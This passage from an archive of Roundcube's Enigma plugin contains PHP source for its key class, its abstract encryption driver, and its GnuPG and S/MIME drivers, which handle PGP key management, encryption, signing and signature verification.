    const CAN_SIGN         = 2;
    const CAN_CERTIFY      = 4;
    const CAN_AUTHENTICATE = 8;


    /**
     * Keys list sorting callback for usort()
     */
    static function cmp($a, $b)
    {
        return strcmp($a->name, $b->name);
    }

    /**
     * Returns key type
     *
     * @return int One of self::TYPE_* constant values
     */
    function get_type()
    {
        if (!empty($this->subkeys[0]) && $this->subkeys[0]->has_private) {
            return enigma_key::TYPE_KEYPAIR;
        }
        else if (!empty($this->subkeys[0])) {
            return enigma_key::TYPE_PUBLIC;
        }

        return enigma_key::TYPE_UNKNOWN;
    }

    /**
     * Returns true if all subkeys are revoked
     *
     * @return bool
     */
    function is_revoked()
    {
        foreach ($this->subkeys as $subkey) {
            if (!$subkey->revoked) {
                return false;
            }
        }

        return !empty($this->subkeys);
    }

    /**
     * Returns true if any user ID is valid
     *
     * @return bool
     */
    function is_valid()
    {
        foreach ($this->users as $user) {
            if ($user->valid) {
                return true;
            }
        }

        return false;
    }

    /**
     * Returns true if any of subkeys is a private key
     *
     * @return bool
     */
    function is_private()
    {
        foreach ($this->subkeys as $subkey) {
            if ($subkey->has_private) {
                return true;
            }
        }

        return false;
    }

    /**
     * Get key ID by user email
     *
     * @param string $email Email address
     * @param int    $mode  Key mode (see self::CAN_* constants)
     *
     * @return enigma_subkey|null Subkey object
     */
    function find_subkey($email, $mode)
    {
        foreach ($this->users as $user) {
            if (strcasecmp($user->email, $email) === 0 && $user->valid && !$user->revoked) {
                foreach ($this->subkeys as $subkey) {
                    if (!$subkey->revoked && !$subkey->is_expired()) {
                        if ($subkey->usage & $mode) {
                            return $subkey;
                        }
                    }
                }
            }
        }
    }

    /**
     * Converts long ID or Fingerprint to short ID
     * Crypt_GPG uses internal, but e.g. Thunderbird's Enigmail displays short ID
     *
     * @param string $id Key ID or fingerprint
     *
     * @return string Key short ID
     */
    static function format_id($id)
    {
        // E.g. 04622F2089E037A5 => 89E037A5

        return substr($id, -8);
    }

    /**
     * Formats fingerprint string
     *
     * @param string $fingerprint Key fingerprint
     *
     * @return string Formatted fingerprint (with spaces)
     */
    static function format_fingerprint($fingerprint)
    {
        if (!$fingerprint) {
            return '';
        }

        $result = '';
        for ($i=0; $i<40; $i++) {
            if ($i % 4 == 0) {
                $result .= ' ';
            }
            $result .= $fingerprint[$i];
        }

        return $result;
    }
}
PKh�\�UU$plugins/enigma/lib/enigma_driver.phpnu�[���<?php

/**
 +-------------------------------------------------------------------------+
 | Abstract driver for the Enigma Plugin                                   |
 |                                                                         |
 | Copyright (C) The Roundcube Dev Team                                    |
 |                                                                         |
 | Licensed under the GNU General Public License version 3 or              |
 | any later version with exceptions for skins & plugins.                  |
 | See the README file for a full license statement.                       |
 +-------------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                              |
 +-------------------------------------------------------------------------+
*/

abstract class enigma_driver
{
    const SUPPORT_RSA = 'RSA';
    const SUPPORT_ECC = 'ECC';

    /**
     * Class constructor.
     *
     * @param string $user User name (email address)
     */
    abstract function __construct($user);

    /**
     * Driver initialization.
     *
     * @return mixed NULL on success, enigma_error on failure
     */
    abstract function init();

    /**
     * Encryption (and optional signing).
     *
     * @param string     $text     Message body
     * @param array      $keys     List of keys (enigma_key objects)
     * @param enigma_key $sign_key Optional signing Key ID
     *
     * @return mixed Encrypted message or enigma_error on failure
     */
    abstract function encrypt($text, $keys, $sign_key = null);

    /**
     * Decryption (and sig verification if sig exists).
     *
     * @param string           $text      Encrypted message
     * @param array            $keys      List of key-password
     * @param enigma_signature $signature Signature information (if available)
     *
     * @return mixed Decrypted message or enigma_error on failure
     */
    abstract function decrypt($text, $keys = [], &$signature = null);

    /**
     * Signing.
     *
     * @param string     $text Message body
     * @param enigma_key $key  The signing key
     * @param int        $mode Signing mode (enigma_engine::SIGN_*)
     *
     * @return mixed True on success or enigma_error on failure
     */
    abstract function sign($text, $key, $mode = null);

    /**
     * Signature verification.
     *
     * @param string $text      Message body
     * @param string $signature Signature, if message is of type PGP/MIME and body doesn't contain it
     *
     * @return mixed Signature information (enigma_signature) or enigma_error
     */
    abstract function verify($text, $signature);

    /**
     * Key/Cert file import.
     *
     * @param string $content   File name or file content
     * @param bool   $isfile    True if first argument is a filename
     * @param array  $passwords Optional key => password map
     *
     * @return mixed Import status array or enigma_error
     */
    abstract function import($content, $isfile = false, $passwords = []);

    /**
     * Key/Cert export.
     *
     * @param string $key          Key ID
     * @param bool   $with_private Include private key
     * @param array  $passwords    Optional key => password map
     *
     * @return mixed Key content or enigma_error
     */
    abstract function export($key, $with_private = false, $passwords = []);

    /**
     * Keys listing.
     *
     * @param string $pattern Optional pattern for key ID, user ID or fingerprint
     *
     * @return mixed Array of enigma_key objects or enigma_error
     */
    abstract function list_keys($pattern = '');

    /**
     * Single key information.
     *
     * @param string $keyid Key ID, user ID or fingerprint
     *
     * @return mixed Key (enigma_key) object or enigma_error
     */
    abstract function get_key($keyid);

    /**
     * Key pair generation.
     *
     * @param array $data Key/User data (name, email, password, size)
     *
     * @return mixed Key (enigma_key) object or enigma_error
     */
    abstract function gen_key($data);

    /**
     * Key deletion.
     *
     * @param string $keyid Key ID
     *
     * @return mixed True on success or enigma_error
     */
    abstract function delete_key($keyid);

    /**
     * Returns a name of the hash algorithm used for the last
     * signing operation.
     *
     * @return string Hash algorithm name e.g. sha1
     */
    abstract function signature_algorithm();

    /**
     * Returns a list of supported features.
     *
     * @return array Capabilities list
     */
    public function capabilities()
    {
        return [];
    }
}
PKh�\�N�``*plugins/enigma/lib/enigma_driver_gnupg.phpnu�[���<?php

/**
 +-------------------------------------------------------------------------+
 | GnuPG (PGP) driver for the Enigma Plugin                                |
 |                                                                         |
 | Copyright (C) The Roundcube Dev Team                                    |
 |                                                                         |
 | Licensed under the GNU General Public License version 3 or              |
 | any later version with exceptions for skins & plugins.                  |
 | See the README file for a full license statement.                       |
 +-------------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                              |
 +-------------------------------------------------------------------------+
*/

require_once 'Crypt/GPG.php';

class enigma_driver_gnupg extends enigma_driver
{
    protected $rc;
    protected $gpg;
    protected $homedir;
    protected $user;
    protected $last_sig_algorithm;
    protected $debug    = false;
    protected $db_files = ['pubring.gpg', 'secring.gpg', 'pubring.kbx'];


    /**
     * Class constructor
     *
     * @param rcube_user $user User object
     */
    function __construct($user)
    {
        $this->rc   = rcmail::get_instance();
        $this->user = $user;
    }

    /**
     * Driver initialization and environment checking.
     * Should only return critical errors.
     *
     * @return enigma_error|null NULL on success, enigma_error on failure
     */
    function init()
    {
        $homedir = $this->rc->config->get('enigma_pgp_homedir');
        $debug   = $this->rc->config->get('enigma_debug');
        $binary  = $this->rc->config->get('enigma_pgp_binary');
        $agent   = $this->rc->config->get('enigma_pgp_agent');
        $gpgconf = $this->rc->config->get('enigma_pgp_gpgconf');

        if (!$homedir) {
            return new enigma_error(enigma_error::INTERNAL,
                "Option 'enigma_pgp_homedir' not specified");
        }

        // check if homedir exists (create it if not) and is readable
        if (!file_exists($homedir)) {
            return new enigma_error(enigma_error::INTERNAL,
                "Keys directory doesn't exists: $homedir");
        }
        if (!is_writable($homedir)) {
            return new enigma_error(enigma_error::INTERNAL,
                "Keys directory isn't writeable: $homedir");
        }

        $homedir = $homedir . '/' . $this->user;

        // check if user's homedir exists (create it if not) and is readable
        if (!file_exists($homedir)) {
            mkdir($homedir, 0700);
        }

        if (!file_exists($homedir)) {
            return new enigma_error(enigma_error::INTERNAL,
                "Unable to create keys directory: $homedir");
        }
        if (!is_writable($homedir)) {
            return new enigma_error(enigma_error::INTERNAL,
                "Unable to write to keys directory: $homedir");
        }

        $this->debug   = $debug;
        $this->homedir = $homedir;

        $options = ['homedir' => $this->homedir];

        if ($debug) {
            $options['debug'] = [$this, 'debug'];
        }
        if ($binary) {
            $options['binary'] = $binary;
        }
        if ($agent) {
            $options['agent'] = $agent;
        }
        if ($gpgconf) {
            $options['gpgconf'] = $gpgconf;
        }

        $options['cipher-algo'] = $this->rc->config->get('enigma_pgp_cipher_algo');
        $options['digest-algo'] = $this->rc->config->get('enigma_pgp_digest_algo');

        // Create Crypt_GPG object
        try {
            $this->gpg = new Crypt_GPG($options);
        }
        catch (Exception $e) {
            return $this->get_error_from_exception($e);
        }

        $this->db_sync();
    }

    /**
     * Encryption (and optional signing).
     *
     * @param string     $text     Message body
     * @param array      $keys     List of keys (enigma_key objects)
     * @param enigma_key $sign_key Optional signing Key ID
     *
     * @return string|enigma_error Encrypted message or enigma_error on failure
     */
    function encrypt($text, $keys, $sign_key = null)
    {
        try {
            foreach ($keys as $key) {
                $this->gpg->addEncryptKey($key->reference);
            }

            if ($sign_key) {
                $this->gpg->addSignKey($sign_key->reference, $sign_key->password);

                $res     = $this->gpg->encryptAndSign($text, true);
                $sigInfo = $this->gpg->getLastSignatureInfo();

                $this->last_sig_algorithm = $sigInfo->getHashAlgorithmName();

                return $res;
            }

            return $this->gpg->encrypt($text, true);
        }
        catch (Exception $e) {
            return $this->get_error_from_exception($e);
        }
    }

    /**
     * Decrypt a message (and verify if signature found)
     *
     * @param string           $text       Encrypted message
     * @param array            $keys       List of key-password mapping
     * @param enigma_signature &$signature Signature information (if available)
     *
     * @return mixed Decrypted message or enigma_error on failure
     */
    function decrypt($text, $keys = [], &$signature = null)
    {
        try {
            foreach ($keys as $key => $password) {
                $this->gpg->addDecryptKey($key, $password);
            }

            $result = $this->gpg->decryptAndVerify($text, true);

            if (!empty($result['signatures'])) {
                $signature = $this->parse_signature($result['signatures'][0]);
            }

            // EFAIL vulnerability mitigation (#6289)
            // Handle MDC warning as an exception, this is the default for gpg 2.3.
            if (method_exists($this->gpg, 'getWarnings')) {
                foreach ($this->gpg->getWarnings() as $warning_msg) {
                    if (strpos($warning_msg, 'not integrity protected') !== false) {
                        return new enigma_error(enigma_error::NOMDC, ucfirst($warning_msg));
                    }
                }
            }

            return $result['data'];
        }
        catch (Exception $e) {
            return $this->get_error_from_exception($e);
        }
    }

    /**
     * Signing.
     *
     * @param string     $text Message body
     * @param enigma_key $key  The key
     * @param int        $mode Signing mode (enigma_engine::SIGN_*)
     *
     * @return mixed True on success or enigma_error on failure
     */
    function sign($text, $key, $mode = null)
    {
        try {
            $this->gpg->addSignKey($key->reference, $key->password);

            $res     = $this->gpg->sign($text, $mode, Crypt_GPG::ARMOR_ASCII, true);
            $sigInfo = $this->gpg->getLastSignatureInfo();

            $this->last_sig_algorithm = $sigInfo->getHashAlgorithmName();

            return $res;
        }
        catch (Exception $e) {
            return $this->get_error_from_exception($e);
        }
    }

    /**
     * Signature verification.
     *
     * @param string $text      Message body
     * @param string $signature Signature, if message is of type PGP/MIME and body doesn't contain it
     *
     * @return enigma_signature|enigma_error Signature information or enigma_error
     */
    function verify($text, $signature)
    {
        try {
            $verified = $this->gpg->verify($text, $signature);
            return $this->parse_signature($verified[0]);
        }
        catch (Exception $e) {
            return $this->get_error_from_exception($e);
        }
    }

    /**
     * Key file import.
     *
     * @param string $content   File name or file content
     * @param bool   $isfile    True if first argument is a filename
     * @param array  $passwords Optional key => password map
     *
     * @return mixed Import status array or enigma_error
     */
    public function import($content, $isfile = false, $passwords = [])
    {
        try {
            // GnuPG 2.1 requires secret key passphrases on import
            foreach ($passwords as $keyid => $pass) {
                $this->gpg->addPassphrase($keyid, $pass);
            }

            if ($isfile) {
                $result = $this->gpg->importKeyFile($content);
            }
            else {
                $result = $this->gpg->importKey($content);
            }

            $this->db_save();

            return $result;
        }
        catch (Exception $e) {
            return $this->get_error_from_exception($e);
        }
    }

    /**
     * Key export.
     *
     * @param string $keyid        Key ID
     * @param bool   $with_private Include private key
     * @param array  $passwords    Optional key => password map
     *
     * @return string|enigma_error Key content or enigma_error
     */
    public function export($keyid, $with_private = false, $passwords = [])
    {
        try {
            $key = $this->gpg->exportPublicKey($keyid, true);

            if ($with_private) {
                // GnuPG 2.1 requires secret key passphrases on export
                foreach ($passwords as $_keyid => $pass) {
                    $this->gpg->addPassphrase($_keyid, $pass);
                }

                $priv = $this->gpg->exportPrivateKey($keyid, true);
                $key .= $priv;
            }

            return $key;
        }
        catch (Exception $e) {
            return $this->get_error_from_exception($e);
        }
    }

    /**
     * Keys listing.
     *
     * @param string $pattern Optional pattern for key ID, user ID or fingerprint
     *
     * @return enigma_key[]|enigma_error Array of keys or enigma_error
     */
    public function list_keys($pattern = '')
    {
        try {
            $keys   = $this->gpg->getKeys($pattern);
            $result = [];

            foreach ($keys as $idx => $key) {
                $result[] = $this->parse_key($key);
            }

            return $result;
        }
        catch (Exception $e) {
            return $this->get_error_from_exception($e);
        }
    }

    /**
     * Single key information.
     *
     * @param string $keyid Key ID, user ID or fingerprint
     *
     * @return enigma_key|enigma_error Key object or enigma_error
     */
    public function get_key($keyid)
    {
        $list = $this->list_keys($keyid);

        if (is_array($list)) {
            return array_first($list);
        }

        // error
        return $list;
    }

    /**
     * Key pair generation.
     *
     * @param array $data Key/User data (user, email, password, size)
     *
     * @return mixed Key (enigma_key) object or enigma_error
     */
    public function gen_key($data)
    {
        try {
            $debug  = $this->rc->config->get('enigma_debug');
            $keygen = new Crypt_GPG_KeyGenerator([
                    'homedir' => $this->homedir,
                    // 'binary'  => '/usr/bin/gpg2',
                    'debug'   => $debug ? [$this, 'debug'] : false,
            ]);

            $key = $keygen
                ->setExpirationDate(0)
                ->setPassphrase($data['password'])
                ->generateKey($data['user'], $data['email']);

            return $this->parse_key($key);
        }
        catch (Exception $e) {
            return $this->get_error_from_exception($e);
        }
    }

    /**
     * Key deletion.
     *
     * @param string $keyid Key ID
     *
     * @return mixed True on success or enigma_error
     */
    public function delete_key($keyid)
    {
        // delete public key
        $result = $this->delete_pubkey($keyid);

        // error handling
        if ($result !== true) {
            $code = $result->getCode();

            // if not found, delete private key
            if ($code == enigma_error::KEYNOTFOUND) {
                $result = $this->delete_privkey($keyid);
            }
            // need to delete private key first
            else if ($code == enigma_error::DELKEY) {
                $result = $this->delete_privkey($keyid);

                if ($result === true) {
                    $result = $this->delete_pubkey($keyid);
                }
            }
        }

        $this->db_save();

        return $result;
    }

    /**
     * Returns a name of the hash algorithm used for the last
     * signing operation.
     *
     * @return string Hash algorithm name e.g. sha1
     */
    public function signature_algorithm()
    {
        return $this->last_sig_algorithm;
    }

    /**
     * Returns a list of supported features.
     *
     * @return array Capabilities list
     */
    public function capabilities()
    {
        $caps = [enigma_driver::SUPPORT_RSA];
        $version = $this->gpg->getVersion();

        if (version_compare($version, '2.1.7', 'ge')) {
            $caps[] = enigma_driver::SUPPORT_ECC;
        }

        return $caps;
    }

    /**
     * Private key deletion.
     */
    protected function delete_privkey($keyid)
    {
        try {
            $this->gpg->deletePrivateKey($keyid);
            return true;
        }
        catch (Exception $e) {
            return $this->get_error_from_exception($e);
        }
    }

    /**
     * Public key deletion.
     */
    protected function delete_pubkey($keyid)
    {
        try {
            $this->gpg->deletePublicKey($keyid);
            return true;
        }
        catch (Exception $e) {
            return $this->get_error_from_exception($e);
        }
    }

    /**
     * Converts Crypt_GPG exception into Enigma's error object
     *
     * @param mixed $e Exception object
     *
     * @return enigma_error Error object
     */
    protected function get_error_from_exception($e)
    {
        $data = [];

        if ($e instanceof Crypt_GPG_KeyNotFoundException) {
            $error = enigma_error::KEYNOTFOUND;
            $data['id'] = $e->getKeyId();
        }
        else if ($e instanceof Crypt_GPG_BadPassphraseException) {
            $error = enigma_error::BADPASS;
            $data['bad']     = $e->getBadPassphrases();
            $data['missing'] = $e->getMissingPassphrases();
        }
        else if ($e instanceof Crypt_GPG_NoDataException) {
            $error = enigma_error::NODATA;
        }
        else if ($e instanceof Crypt_GPG_DeletePrivateKeyException) {
            $error = enigma_error::DELKEY;
        }
        else {
            $error = enigma_error::INTERNAL;
        }

        $msg = $e->getMessage();

        return new enigma_error($error, $msg, $data);
    }

    /**
     * Converts Crypt_GPG_Signature object into Enigma's signature object
     *
     * @param Crypt_GPG_Signature $sig Signature object
     *
     * @return enigma_signature Signature object
     */
    protected function parse_signature($sig)
    {
        $data = new enigma_signature();

        $data->id          = $sig->getId() ?: $sig->getKeyId();
        $data->valid       = $sig->isValid();
        $data->fingerprint = $sig->getKeyFingerprint();
        $data->created     = $sig->getCreationDate();
        $data->expires     = $sig->getExpirationDate();

        // In case of ERRSIG user may not be set
        if ($user = $sig->getUserId()) {
            $data->name    = $user->getName();
            $data->comment = $user->getComment();
            $data->email   = $user->getEmail();
        }

        return $data;
    }

    /**
     * Converts Crypt_GPG_Key object into Enigma's key object
     *
     * @param Crypt_GPG_Key $key Key object
     *
     * @return enigma_key Key object
     */
    protected function parse_key($key)
    {
        $ekey = new enigma_key();

        foreach ($key->getUserIds() as $idx => $user) {
            $id = new enigma_userid();
            $id->name    = $user->getName();
            $id->comment = $user->getComment();
            $id->email   = $user->getEmail();
            $id->valid   = $user->isValid();
            $id->revoked = $user->isRevoked();

            $ekey->users[$idx] = $id;
        }

        $ekey->name = trim($ekey->users[0]->name . ' <' . $ekey->users[0]->email . '>');

        // keep reference to Crypt_GPG's key for performance reasons
        $ekey->reference = $key;

        foreach ($key->getSubKeys() as $idx => $subkey) {
            $skey = new enigma_subkey();
            $skey->id          = $subkey->getId();
            $skey->revoked     = $subkey->isRevoked();
            $skey->fingerprint = $subkey->getFingerprint();
            $skey->has_private = $subkey->hasPrivate();
            $skey->algorithm   = $subkey->getAlgorithm();
            $skey->length      = $subkey->getLength();
            $skey->usage       = $subkey->usage();

            if (method_exists($subkey, 'getCreationDateTime')) {
                $skey->created = $subkey->getCreationDateTime();
                $skey->expires = $subkey->getExpirationDateTime();
            }
            else {
                $skey->created = $subkey->getCreationDate();
                $skey->expires = $subkey->getExpirationDate();

                if ($skey->created) {
                    $skey->created = new DateTime("@{$skey->created}");
                }

                if ($skey->expires) {
                    $skey->expires = new DateTime("@{$skey->expires}");
                }
            }

            $ekey->subkeys[$idx] = $skey;
        };

        $ekey->id = $ekey->subkeys[0]->id;

        return $ekey;
    }

    /**
     * Synchronize keys database on multi-host setups
     */
    protected function db_sync()
    {
        if (!$this->rc->config->get('enigma_multihost')) {
            return;
        }

        $db    = $this->rc->get_dbh();
        $table = $db->table_name('filestore', true);
        $files = [];

        $result = $db->query(
            "SELECT `file_id`, `filename`, `mtime` FROM $table WHERE `user_id` = ? AND `context` = ?",
            $this->rc->user->ID, 'enigma'
        );

        while ($record = $db->fetch_assoc($result)) {
            $file  = $this->homedir . '/' . $record['filename'];
            $mtime = @filemtime($file);
            $files[] = $record['filename'];

            if ($mtime < $record['mtime']) {
                $data_result = $db->query("SELECT `data`, `mtime` FROM $table"
                    . " WHERE `file_id` = ?", $record['file_id']
                );

                $record = $db->fetch_assoc($data_result);
                $data   = $record ? base64_decode($record['data']) : null;

                if ($data === null || $data === false) {
                    rcube::raise_error([
                            'code' => 605, 'line' => __LINE__, 'file' => __FILE__,
                            'message' => "Enigma: Failed to sync $file ({$record['file_id']}). Decode error."
                        ], true, false);

                    continue;
                }

                // Private keys might be located in 'private-keys-v1.d' subdirectory. Make sure it exists.
                if (strpos($file, '/private-keys-v1.d/')) {
                    if (!file_exists($this->homedir . '/private-keys-v1.d')) {
                        mkdir($this->homedir . '/private-keys-v1.d', 0700);
                    }
                }

                $tmpfile = $file . '.tmp';

                if (file_put_contents($tmpfile, $data, LOCK_EX) === strlen($data)) {
                    rename($tmpfile, $file);
                    touch($file, $record['mtime']);

                    if ($this->debug) {
                        $this->debug("SYNC: Fetched file: $file");
                    }
                }
                else {
                    // error
                    @unlink($tmpfile);

                    rcube::raise_error([
                            'code' => 605, 'line' => __LINE__, 'file' => __FILE__,
                            'message' => "Enigma: Failed to sync $file."
                        ], true, false);
                }
            }
        }

        // Remove files not in database
        if (!$db->is_error($result)) {
            foreach (array_diff($this->db_files_list(), $files) as $file) {
                $file = $this->homedir . '/' . $file;

                if (unlink($file)) {
                    if ($this->debug) {
                        $this->debug("SYNC: Removed file: $file");
                    }
                }
            }
        }

        // No records found, do initial sync if already have the keyring
        if (!$db->is_error($result) && empty($file)) {
            $this->db_save(true);
        }
    }

    /**
     * Save keys database for multi-host setups
     */
    protected function db_save($is_empty = false)
    {
        if (!$this->rc->config->get('enigma_multihost')) {
            return true;
        }

        $db      = $this->rc->get_dbh();
        $table   = $db->table_name('filestore', true);
        $records = [];

        if (!$is_empty) {
            $result = $db->query(
                "SELECT `file_id`, `filename`, `mtime` FROM $table WHERE `user_id` = ? AND `context` = ?",
                $this->rc->user->ID, 'enigma'
            );

            while ($record = $db->fetch_assoc($result)) {
                $records[$record['filename']] = $record;
            }
        }

        foreach ($this->db_files_list() as $filename) {
            $file  = $this->homedir . '/' . $filename;
            $mtime = @filemtime($file);

            $existing = !empty($records[$filename]) ? $records[$filename] : null;
            unset($records[$filename]);

            if ($mtime && (empty($existing) || $mtime > $existing['mtime'])) {
                $data     = file_get_contents($file);
                $data     = base64_encode($data);
                $datasize = strlen($data);

                if (empty($maxsize)) {
                    $maxsize = min($db->get_variable('max_allowed_packet', 1048500), 4*1024*1024) - 2000;
                }

                if ($datasize > $maxsize) {
                    rcube::raise_error([
                            'code' => 605, 'line' => __LINE__, 'file' => __FILE__,
                            'message' => "Enigma: Failed to save $file. Size exceeds max_allowed_packet."
                        ], true, false);

                    continue;
                }

                $unique = ['user_id' => $this->rc->user->ID, 'context' => 'enigma', 'filename' => $filename];
                $result = $db->insert_or_update($table, $unique, ['mtime', 'data'], [$mtime, $data]);

                if ($db->is_error($result)) {
                    rcube::raise_error([
                            'code' => 605, 'line' => __LINE__, 'file' => __FILE__,
                            'message' => "Enigma: Failed to save $file into database."
                        ], true, false);

                    break;
                }

                if ($this->debug) {
                    $this->debug("SYNC: Pushed file: $file");
                }
            }
        }

        // Delete removed files from database
        foreach (array_keys($records) as $filename) {
            $file   = $this->homedir . '/' . $filename;
            $result = $db->query("DELETE FROM $table WHERE `user_id` = ? AND `context` = ? AND `filename` = ?",
                $this->rc->user->ID, 'enigma', $filename
            );

            if ($db->is_error($result)) {
                rcube::raise_error([
                        'code' => 605, 'line' => __LINE__, 'file' => __FILE__,
                        'message' => "Enigma: Failed to delete $file from database."
                    ], true, false);

                break;
            }

            if ($this->debug) {
                $this->debug("SYNC: Removed file: $file");
            }
        }
    }

    /**
     * Returns list of homedir files to backup
     */
    protected function db_files_list()
    {
        $files = [];

        foreach ($this->db_files as $file) {
            if (file_exists($this->homedir . '/' . $file)) {
                $files[] = $file;
            }
        }

        foreach (glob($this->homedir . '/private-keys-v1.d/*.key') as $file) {
            $files[] = ltrim(substr($file, strlen($this->homedir)), '/');
        }

        return $files;
    }

    /**
     * Write debug info from Crypt_GPG to logs/enigma
     */
    public function debug($line)
    {
        rcube::write_log('enigma', 'GPG: ' . $line);
    }
}
PKh�\�5$̕�+plugins/enigma/lib/enigma_driver_phpssl.phpnu�[���<?php

/**
 +-------------------------------------------------------------------------+
 | S/MIME driver for the Enigma Plugin                                     |
 |                                                                         |
 | Copyright (C) The Roundcube Dev Team                                    |
 |                                                                         |
 | Licensed under the GNU General Public License version 3 or              |
 | any later version with exceptions for skins & plugins.                  |
 | See the README file for a full license statement.                       |
 +-------------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                              |
 +-------------------------------------------------------------------------+
*/

class enigma_driver_phpssl extends enigma_driver
{
    private $rc;
    private $homedir;
    private $user;

    function __construct($user)
    {
        $rcmail = rcmail::get_instance();
        $this->rc   = $rcmail;
        $this->user = $user;
    }

    /**
     * Driver initialization and environment checking.
     * Should only return critical errors.
     *
     * @return mixed NULL on success, enigma_error on failure
     */
    function init()
    {
        $homedir = $this->rc->config->get('enigma_smime_homedir', INSTALL_PATH . '/plugins/enigma/home');

        if (!$homedir)
            return new enigma_error(enigma_error::INTERNAL,
                "Option 'enigma_smime_homedir' not specified");

        // check if homedir exists (create it if not) and is readable
        if (!file_exists($homedir))
            return new enigma_error(enigma_error::INTERNAL,
                "Keys directory doesn't exists: $homedir");
        if (!is_writable($homedir))
            return new enigma_error(enigma_error::INTERNAL,
                "Keys directory isn't writeable: $homedir");

        $homedir = $homedir . '/' . $this->user;

        // check if user's homedir exists (create it if not) and is readable
        if (!file_exists($homedir))
            mkdir($homedir, 0700);

        if (!file_exists($homedir))
            return new enigma_error(enigma_error::INTERNAL,
                "Unable to create keys directory: $homedir");
        if (!is_writable($homedir))
            return new enigma_error(enigma_error::INTERNAL,
                "Unable to write to keys directory: $homedir");

        $this->homedir = $homedir;

    }

    function encrypt($text, $keys, $sign_key = null)
    {
    }

    function decrypt($text, $keys = [], &$signature = null)
    {
    }

    function sign($text, $key, $mode = null)
    {
    }

    function verify($struct, $message)
    {
        // use common temp dir
        $msg_file  = rcube_utils::temp_filename('enigmsg');
        $cert_file = rcube_utils::temp_filename('enigcrt');

        $fh = fopen($msg_file, "w");
        if ($struct->mime_id) {
            $message->get_part_body($struct->mime_id, false, 0, $fh);
        }
        else {
            $this->rc->storage->get_raw_body($message->uid, $fh);
        }
        fclose($fh);

        // @TODO: use stored certificates

        // try with certificate verification
        $sig      = openssl_pkcs7_verify($msg_file, 0, $cert_file);
        $validity = true;

        if ($sig !== true) {
            // try without certificate verification
            $sig      = openssl_pkcs7_verify($msg_file, PKCS7_NOVERIFY, $cert_file);
            $validity = enigma_error::UNVERIFIED;
        }

        if ($sig === true) {
            $sig = $this->parse_sig_cert($cert_file, $validity);
        }
        else {
            $errorstr = $this->get_openssl_error();
            $sig = new enigma_error(enigma_error::INTERNAL, $errorstr);
        }

        // remove temp files
        @unlink($msg_file);
        @unlink($cert_file);

        return $sig;
    }

    public function import($content, $isfile = false, $passwords = [])
    {
    }

    public function export($key, $with_private = false, $passwords = [])
    {
    }

    public function list_keys($pattern='')
    {
    }

    public function get_key($keyid)
    {
    }

    public function gen_key($data)
    {
    }

    public function delete_key($keyid)
    {
    }

    /**
     * Returns a name of the hash algorithm used for the last
     * signing operation.
     *
     * @return string Hash algorithm name e.g. sha1
     */
    public function signature_algorithm()
    {
    }

    /**
     * Converts Crypt_GPG_Key object into Enigma's key object
     *
     * @param Crypt_GPG_Key $key Key object
     *
     * @return enigma_key Key object
     */
    private function parse_key($key)
    {
    }

    private function get_openssl_error()
    {
        $tmp = [];
        while ($errorstr = openssl_error_string()) {
            $tmp[] = $errorstr;
        }

        return join("\n", array_values($tmp));
    }

    private function parse_sig_cert($file, $validity)
    {
        $cert = openssl_x509_parse(file_get_contents($file));

        if (empty($cert) || empty($cert['subject'])) {
            $errorstr = $this->get_openssl_error();
            return new enigma_error(enigma_error::INTERNAL, $errorstr);
        }

        $data = new enigma_signature();

        $data->id          = $cert['hash']; //?
        $data->valid       = $validity;
        $data->fingerprint = $cert['serialNumber'];
        $data->created     = $cert['validFrom_time_t'];
        $data->expires     = $cert['validTo_time_t'];
        $data->name        = $cert['subject']['CN'];
//        $data->comment     = '';
        $data->email       = $cert['subject']['emailAddress'];

        return $data;
    }
}
PKh�\��T��'plugins/enigma/lib/enigma_signature.phpnu�[���<?php

/**
 +-------------------------------------------------------------------------+
 | Signature class for the Enigma Plugin                                   |
 |                                                                         |
 | Copyright (C) The Roundcube Dev Team                                    |
 |                                                                         |
 | Licensed under the GNU General Public License version 3 or              |
 | any later version with exceptions for skins & plugins.                  |
 | See the README file for a full license statement.                       |
 +-------------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                              |
 +-------------------------------------------------------------------------+
*/

class enigma_signature
{
    public $id;
    public $valid;
    public $fingerprint;
    public $created;
    public $expires;
    public $name;
    public $comment;
    public $email;

    // Set it to true if signature is valid, but part of the message
    // was out of the signed block
    public $partial;

    /**
     * Find key user id matching the email message sender
     *
     * @param enigma_engine $engine  Enigma engine
     * @param rcube_message $message Message object
     * @param string        $part_id Message part identifier
     *
     * @return string User identifier (name + email)
     */
    public function get_sender($engine, $message, $part_id = null)
    {
        if (!$this->email) {
            return $this->name;
        }

        if ($this->fingerprint && ($key = $engine->get_key($this->fingerprint))) {
            $from    = $message->headers->from;
            $charset = $message->headers->charset;

            // Get From: header from the parent part, if it's a forwarded message
            if ($part_id && strpos($part_id, '.') !== false) {
                $level = explode('.', $part_id);
                $parts = $message->mime_parts();

                while (array_pop($level) !== null) {
                    $parent = join('.', $level);
                    if (!empty($parts[$parent]) && $parts[$parent]->mimetype == 'message/rfc822') {
                        $from    = $parts[$parent]->headers['from'];
                        $charset = $parts[$parent]->charset;
                        break;
                    }
                }
            }

            $from = rcube_mime::decode_address_list($from, 1, true, $charset);
            $from = (array) $from[1];

            if (!empty($from)) {
                // Compare name and email
                foreach ($key->users as $user) {
                    if ($user->name == $from['name'] && $user->email == $from['mailto']) {
                        return sprintf('%s <%s>', $user->name, $user->email);
                    }
                }

                // Compare only email
                foreach ($key->users as $user) {
                    if ($user->email === $from['mailto']) {
                        return sprintf('%s <%s>', $this->name, $user->email);
                    }
                }
            }
        }

        return sprintf('%s <%s>', $this->name, $this->email);
    }
}
PKh�\`)�t�t�$plugins/enigma/lib/enigma_engine.phpnu�[���<?php

/**
 +-------------------------------------------------------------------------+
 | Engine of the Enigma Plugin                                             |
 |                                                                         |
 | Copyright (C) The Roundcube Dev Team                                    |
 |                                                                         |
 | Licensed under the GNU General Public License version 3 or              |
 | any later version with exceptions for skins & plugins.                  |
 | See the README file for a full license statement.                       |
 +-------------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                              |
 +-------------------------------------------------------------------------+
*/

/**
 * Enigma plugin engine.
 *
 * RFC2440: OpenPGP Message Format
 * RFC3156: MIME Security with OpenPGP
 * RFC3851: S/MIME
 */
class enigma_engine
{
    private $rc;
    private $enigma;
    private $pgp_driver;
    private $smime_driver;
    private $password_time;
    private $cache = [];

